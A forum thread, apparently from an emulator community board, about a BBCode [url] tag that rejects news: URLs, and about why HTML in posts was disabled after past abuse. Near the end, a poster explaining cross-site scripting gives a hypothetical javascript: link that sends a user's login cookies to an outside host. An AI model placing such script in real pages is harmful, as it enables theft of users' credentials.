[url] tag doesn't recognize news: URLs
Moderator: General Mods
[url] tag doesn't recognize news: URLs
The tag doesn't recognize URLs using the n ... ample.com/
https://example.com/
ftp://example.com/
[url=news:alt.test]news:alt.test[/url] (see section 3.6 of RFC 1738)
[url=news:foo@bar]news:foo@bar[/url]
Pretty ironic, given that USENET is the biggest discussion forum in existence...
https://example.com/
ftp://example.com/
[url=news:alt.test]news:alt.test[/url] (see section 3.6 of RFC 1738)
[url=news:foo@bar]news:foo@bar[/url]
Pretty ironic, given that USENET is the biggest discussion forum in existence...
-
- ZSNES Shake Shake Prinny
- Posts: 5632
- Joined: Wed Jul 28, 2004 4:15 pm
- Location: PAL50, dood !
For a bypass, use a tinyurl in the tag.
皆黙って俺について来い!!
Pantheon: Gideon Zhi | CaitSith2 | Nach | kode54
Code: Select all
<jmr> bsnes has the most accurate wiki page but it takes forever to load (or something)
Dude, did you even read the RFC I linked to?funkyass wrote:blarg, its news://
its a URI dude.
Code: Select all
3.6. NEWS
The news URL scheme is used to refer to either news groups or
individual articles of USENET news, as specified in RFC 1036.
A news URL takes one of two forms:
news:<newsgroup-name>
news:<message-id>
Code: Select all
3.3. HTTP
The HTTP URL scheme is used to designate Internet resources
accessible using HTTP (HyperText Transfer Protocol).
The HTTP protocol is specified elsewhere. This specification only
describes the syntax of HTTP URLs.
An HTTP URL takes the form:
http://<host>:<port>/<path>?<searchpart>
[...]
3.5. MAILTO
The mailto URL scheme is used to designate the Internet mailing
address of an individual or service. No additional information other
than an Internet mailing address is present or implied.
A mailto URL takes the form:
mailto:<rfc822-addr-spec>
[...]
Looking at the RFC for a URI, I don't see anything that changes how news resource links are encoded.
URL tag parasers have the nasty habit of automatically inserting http:// at the statrt if they don't see it.
They do this so the forum doesn't confuse something like www.blah.net as a relative link.
They'd have to change the PHP files to fix that.
They do this so the forum doesn't confuse something like www.blah.net as a relative link.
They'd have to change the PHP files to fix that.
The ftp:// link example in my first post works fine, without http:// being inserted. It looks more like the code that determines whether the [url= tag is valid requires that it have a double slash near the beginning of the URL, even though the format seems more along the lines of <protocol>:<protocol-specific string>.
Just to be clear, I'm not commenting on automatic conversion of URLs to links, which I too don't really care for, since it clutters the text with the full URL. I'm commenting on explicit use of the tag, and how it fails to work with URLs ... ]some text into <a href="....">some text</a>.
-
- ZSNES Shake Shake Prinny
- Posts: 5632
- Joined: Wed Jul 28, 2004 4:15 pm
- Location: PAL50, dood !
Note that we could enable html for users, but I was around back in the "goatse on hover" days and I don't really want it to happen again.
皆黙って俺について来い!!
Pantheon: Gideon Zhi | CaitSith2 | Nach | kode54
Code: Select all
<jmr> bsnes has the most accurate wiki page but it takes forever to load (or something)
-
- Inmate
- Posts: 1751
- Joined: Mon Dec 06, 2004 7:47 am
- Location: WA
Ever see the spawning popup variation? Click a link, get a shock image popup. Close the window and it spawns two more. Close one of those, you get the idea.grinvader wrote:Note that we could enable html for users, but I was around back in the "goatse on hover" days and I don't really want it to happen again.
I feel really bad for those who didn't know how to end task a process.
-
- Locksmith of Hyrule
- Posts: 3634
- Joined: Sun Aug 08, 2004 7:49 am
- Location: 255.255.255.255
- Contact:
I thought it was because people kept inserting HTML code to force an auto redirection to goatse in X seconds.
that, and changing the title of the page (in your titlebar on the web browser that is.) 
in any case, I believe the HTML inserts have been improved to only allow things like <embed></embed>, <a href="url heer">hyperlink</a>, <img src="image url heer"></img>
etc etc etc.


in any case, I believe the HTML inserts have been improved to only allow things like <embed></embed>, <a href="url heer">hyperlink</a>, <img src="image url heer"></img>
etc etc etc.
<Nach> so why don't the two of you get your own room and leave us alone with this stupidity of yours?
NSRT here.
NSRT here.
-
- ZSNES Shake Shake Prinny
- Posts: 5632
- Joined: Wed Jul 28, 2004 4:15 pm
- Location: PAL50, dood !
Sadly, it's either full html abuse or none. And none it is.
No, goatse popups on hover.Metatron wrote:Er... do you mean hovering on top of links that are goatse?
皆黙って俺について来い!!
Pantheon: Gideon Zhi | CaitSith2 | Nach | kode54
Code: Select all
<jmr> bsnes has the most accurate wiki page but it takes forever to load (or something)
-
- Buzzkill Gil
- Posts: 4295
- Joined: Wed Jan 12, 2005 7:14 pm
If I recall correctly...adventure_of_link wrote:I thought it was because people kept inserting HTML code to force an auto redirection to goatse in X seconds.that, and changing the title of the page (in your titlebar on the web browser that is.)
![]()
In OUR case, it was disabled after a thread created to test the limits of HTML within Ikonboard, I believe it was. The purple board that replaced ye olde WWWBoard.
The thread in question went from a thread with an embedded Zero Wing video to an incomrephensible mess of out -of-order posts, posts to the side of each other, posts on top of each other, posts overlapping each other, images every which way, with over a dozen copies of the Zero Wing video embedded, along with God knows whatever else.
HTML in posts was disabled within a day, as the fact that it was an INCREDIBLY bad idea was illustrated quite effectively.
Looking back, I truly wish I had saved the thread.
-
- ZSNES Shake Shake Prinny
- Posts: 5632
- Joined: Wed Jul 28, 2004 4:15 pm
- Location: PAL50, dood !
You forgot "whole posts in their own title field".
You forgot "whole posts in their own title field".
皆黙って俺について来い!!
Pantheon: Gideon Zhi | CaitSith2 | Nach | kode54
Code: Select all
<jmr> bsnes has the most accurate wiki page but it takes forever to load (or something)
So someone could insert a link that was <a href="javascript:...">? How is that any different than a link to another page which has said javascript on it? Either way, the link must be clicked to activate it. Obviously the [url=...] tag must not accept quotes or ] within the ... string, but that's just to ensure it generates valid HTML from a [url] tag.Metatron wrote:The reason it doesn't blindly convert is because it is possible to insert javascript that way, just so you know.
Javascript on the current domain exposes you to cross-site scripting vulnerabilities.blargg wrote:So someone could insert a link that was <a href="javascript:...">? How is that any different than a link to another page which has said javascript on it?
Hypothetical:
<a href="javascript:redirectTo('http://dood.dyndns.org/?logdata=' + document.cookie('PHP_USER') + '=' + document.cookie('PHP_PASS') + '\n');">Click me</a>
Sure, it's a hash, but dictionary attacks are trivial on those.
We had someone try something similar on jumpstation.org (when it still existed.)